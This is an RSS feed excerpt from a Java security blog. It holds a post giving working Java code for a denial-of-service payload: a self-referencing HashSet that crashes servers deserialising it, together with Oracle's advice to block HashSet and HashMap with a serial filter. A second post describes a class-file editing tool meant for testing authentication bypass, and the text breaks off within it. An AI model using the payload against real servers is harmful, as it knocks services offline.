<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-1099539711585569086</atom:id><lastBuildDate>Sat, 17 Oct 2026 09:55:15 +0000</lastBuildDate><category>java</category><category>image</category><category>convert</category><category>c++</category><category>reverse</category><category>screen</category><category>security</category><category>android</category><category>apk</category><category>class</category><category>decompile</category><category>file</category><category>javacv</category><category>video</category><category>crawler</category><category>desktop</category><category>hack</category><category>json</category><category>mouse</category><category>movie</category><category>reflection</category><category>swing</category><category>authorization</category><category>base64</category><category>bot</category><category>bounty</category><category>bypass</category><category>capture</category><category>change</category><category>clipboard</category><category>connection</category><category>constructor</category><category>content</category><category>crack</category><category>disassemble</category><category>downloader</category><category>emulate</category><category>exploit</category><category>external</category><category>extract</category><category>folder</category><category>frame</category><category>google</category><category>jar</category><category>key</category><category>keyboard</category><category>keylogger</category><category>maven</category><category>method</category><category>modify</category><category>network</category><category>notepad</category><category>read</category><category>recompile</category><category>robot</category><category>run</category><category>sarxos</category><category>schema</category><category>screenshot</category><category>smali</category><category>task</category><category>text</category><category>virtual</category><category>webcam</category><category>windows</category><category>write</category><category>zip</category><category>BufferedImage</category><category>ImageIO</category><category>access</category><category>apache</category><category>api</category><category>auth</category><category>background</category><category>batch</category><category>block</category><category>buffered</category><category>bug</category><category>bug-bounty</category><category>burp</category><category>bytedeco</category><category>calendar</category><category>calender</category><category>cam</category><category>captcha</category><category>char</category><category>click</category><category>code</category><category>common</category><category>compress</category><category>connect</category><category>content-type</category><category>converter</category><category>crash</category><category>data</category><category>database</category><category>db</category><category>decode</category><category>decoding</category><category>denial of service</category><category>deserialization</category><category>device</category><category>dex</category><category>directory</category><category>dns</category><category>domain</category><category>dos</category><category>download</category><category>driver</category><category>edit</category><category>encode</category><category>encoding</category><category>event</category><category>extension</category><category>face</category><category>facial</category><category>field</category><category>game</category><category>generate</category><category>goggles</category><category>hide</category><category>html</category><category>idor</category><category>inspect</category><category>intercept</category><category>invoke</category><category>itext</category><category>jackson</category><category>jframe</category><category>jni</category><category>jni robot</category><category>jpg</category><category>jsonschema2pojo</category><category>jsoup</category><category>justtrustme</category><category>listen</category><category>malicious</category><category>manager</category><category>match</category><category>memu</category><category>message</category><category>metadata</category><category>mobile</category><category>move</category><category>mp4</category><category>msdn</category><category>ocr</category><category>opencv</category><category>openimaj</category><category>oracle</category><category>pack200</category><category>parser</category><category>parsing</category><category>patch</category><category>payload</category><category>pdf</category><category>playstore</category><category>png</category><category>pojo</category><category>pom</category><category>prank</category><category>prezi</category><category>print</category><category>private</category><category>program</category><category>progress</category><category>proxy</category><category>range</category><category>readimage</category><category>recognition</category><category>record</category><category>recreate</category><category>remap</category><category>repatch</category><category>reposition</category><category>resolve</category><category>root</category><category>runtime</category><category>scale</category><category>schedule</category><category>search</category><category>secret</category><category>selenium</category><category>server</category><category>sign</category><category>site</category><category>small</category><category>source</category><category>spider</category><category>spoof</category><category>sql</category><category>sql server</category><category>ssl</category><category>ssl pinning</category><category>stackoverflow</category><category>status</category><category>stop</category><category>stream</category><category>subdomain</category><category>swap</category><category>tess</category><category>tessaract</category><category>tessdata</category><category>thread</category><category>thumbnail</category><category>timer</category><category>type</category><category>uncompress</category><category>unpack200</category><category>unzip</category><category>upload</category><category>url</category><category>urldecoder</category><category>urlencoder</category><category>utf</category><category>variable</category><category>vulnerable</category><category>wallpaper</category><category>web</category><category>website</category><category>wifi</category><category>window</category><category>xml</category><category>xposed</category><category>xss</category><category>youtube</category><category>zipfile</category><title>Advance Programs and Tricks in Java</title><description>Learn advanced programs from scratch...</description><link>https://cooltrickshome.blogspot.com/</link><managingEditor>noreply@blogger.com (csanuragjain)</managingEditor><generator>Blogger</generator><openSearch:totalResults>49</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-441662268379595436</guid><pubDate>Tue, 19 Feb 2019 16:49:00 +0000</pubDate><atom:updated>2019-02-20T00:00:31.014-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">crash</category><category domain="http://www.blogger.com/atom/ns#">denial of service</category><category domain="http://www.blogger.com/atom/ns#">deserialization</category><category domain="http://www.blogger.com/atom/ns#">dos</category><category domain="http://www.blogger.com/atom/ns#">exploit</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">oracle</category><category domain="http://www.blogger.com/atom/ns#">payload</category><category domain="http://www.blogger.com/atom/ns#">server</category><category domain="http://www.blogger.com/atom/ns#">stackoverflow</category><title>DOS Payload (works on latest JRE) for Java Deserialization issue</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Reading the below serialized payload by server using the latest JRE version (or older), can cause instant crash on server (StackOverflow error)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Payload:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/blob/master/Deserialization%20issue/payloadNew.txt?raw=true&quot;&gt;https://github.com/csanuragjain/extra/blob/master/Deserialization%20issue/payloadNew.txt?raw=true&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How is it created:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
import java.io.FileOutputStream;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
import java.io.ObjectOutputStream;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
import java.util.HashMap;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
import java.util.HashSet;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
import java.util.Map;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
import java.util.Set;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
public class Payload2 {&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt; &lt;/span&gt;/**&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&amp;nbsp;* @param args&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&amp;nbsp;* @throws Exception&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&amp;nbsp;*/&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt; &lt;/span&gt;public static void main(String[] args) throws Exception {&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;  &lt;/span&gt;// TODO Auto-generated method stub&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Set s= new HashSet&amp;lt;&amp;gt;();&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Set entry= new HashSet();&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; s.add(entry);&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; entry.add(entry);&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FileOutputStream fos = new FileOutputStream(&quot;payloadNew.&lt;wbr&gt;&lt;/wbr&gt;txt&quot;);&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ObjectOutputStream oos = new ObjectOutputStream(fos);&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; oos.writeObject(s);&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; oos.flush();&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt; &lt;/span&gt;}&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
}&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;b style=&quot;color: black; font-family: &amp;quot;Times New Roman&amp;quot;; font-size: medium;&quot;&gt;What happens when server reads it:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;color: black; font-family: &amp;quot;times new roman&amp;quot;; font-size: small;&quot;&gt;Server crash with StackOverflow error&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;color: black; font-family: &amp;quot;times new roman&amp;quot;; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;span style=&quot;color: black; font-family: &amp;quot;times new roman&amp;quot;; font-size: small;&quot;&gt;&lt;b&gt;What Oracle has to say:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
There is no default JEP 290 serial filter that applies to all RMI&lt;br /&gt;
applications and eliminates all issues.&amp;nbsp; It is up to the application&lt;br /&gt;
writer to choose the configuration that makes an application the safest&lt;br /&gt;
it can be (given it&#39;s deserializing untrusted data).&amp;nbsp; In the given&lt;br /&gt;
examples HashMap and HashSet could be blocked to eliminate that issue.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
In short, Oracle asks to block both of these classes using the serial Filter.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;b&gt;My thoughts:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
Not quite sure, why an internal loop is even allowed.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
The best way to mitigate this issue is not to trust any user provided serialized data. But if you have to read it then you need to be aware about these issues and should completely block these classes atleast (Although i think some other payload will always come)&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;
Let me know your thoughts...&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2019/02/dos-payload-works-on-latest-jre-for.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-7432273704625831538</guid><pubDate>Mon, 28 Jan 2019 12:45:00 +0000</pubDate><atom:updated>2019-01-28T04:45:58.143-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">authorization</category><category domain="http://www.blogger.com/atom/ns#">bypass</category><category domain="http://www.blogger.com/atom/ns#">class</category><category domain="http://www.blogger.com/atom/ns#">crack</category><category domain="http://www.blogger.com/atom/ns#">decompile</category><category domain="http://www.blogger.com/atom/ns#">desktop</category><category domain="http://www.blogger.com/atom/ns#">disassemble</category><category domain="http://www.blogger.com/atom/ns#">hack</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">reverse</category><category domain="http://www.blogger.com/atom/ns#">smali</category><title>ClassModifier : Utility to easily modify your Java class files</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #24292e; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;; font-size: 16px; margin-bottom: 16px;&quot;&gt;
Modify your Java class files easy with an interactive GUI.&lt;br /&gt;
&lt;br /&gt;
Since it is not possible to edit a class file directly, this tool changes the class file to Smali version which is editable. After making the required changes, this tool converts the modified Smali to the modified Class file.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #24292e; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;; font-size: 16px; margin-bottom: 16px;&quot;&gt;
&lt;b&gt;Features:&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;background-color: white; box-sizing: border-box; color: #24292e; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;; font-size: 16px; margin-bottom: 0px !important; margin-top: 0px; padding-left: 2em;&quot;&gt;
&lt;li style=&quot;box-sizing: border-box;&quot;&gt;Modify a given Java class file&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;Allows Pen-tester to verify if their java desktop application is safe from Auth bypass&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;Can help you change the logical behavior of a Jar file by modifying a class&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;You can override private methods, change access modifier for variables of a class using ClassModifier.&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;Many other possibilities....&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;b&gt;Download ClassModifier:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;a href=&quot;https://github.com/csanuragjain/ClassModifier/releases&quot;&gt;https://github.com/csanuragjain/ClassModifier/releases&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;b&gt;Project Git Location:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;a href=&quot;https://github.com/csanuragjain/ClassModifier&quot;&gt;https://github.com/csanuragjain/ClassModifier&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;b&gt;How to Use:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
java -jar&amp;nbsp;ClassModifier.jar&lt;/div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #24292e;&quot;&gt;Menu:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;File&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Open class (CTRL+O)- Takes the input class which need to be modified&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Open Project (CTRL+P)– You can reopen the project created using this feature.&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Save &amp;amp; Convert (CTRL+S) – Saves &amp;amp; Convert the code to modified Class and Smali file&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Export Class (CTRL+E) – Export modified class&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Java 2 Smali Helper - Opens a tab where you can write any Java code which on saving will show its equivalent Smali code&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Smali 2 Java code - Opens a tab where you can write any Smali code which on saving will show its equivalent Java code&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Edit&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Increase Code FontSize (CTRL+I) – Allows you to increase font size of shown code.&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Decrease Code FontSize (CTRL+D) – Allows you to decrease the font size of shown code.&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Remove all tabs – Removes all currently shown tabs.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Decompiler&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Change Decompiler – Allows you to switch between jadx and jd-cli decompilers.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Help&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Update Software – Helps you to update the current software if any update is available&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;How to use Class Modifier– Contains the documentation of this tool&lt;/li&gt;
&lt;/ol&gt;
&lt;br style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot; /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Toolbar&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Allows you to find in current code/replace/replaceAll/find all class&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
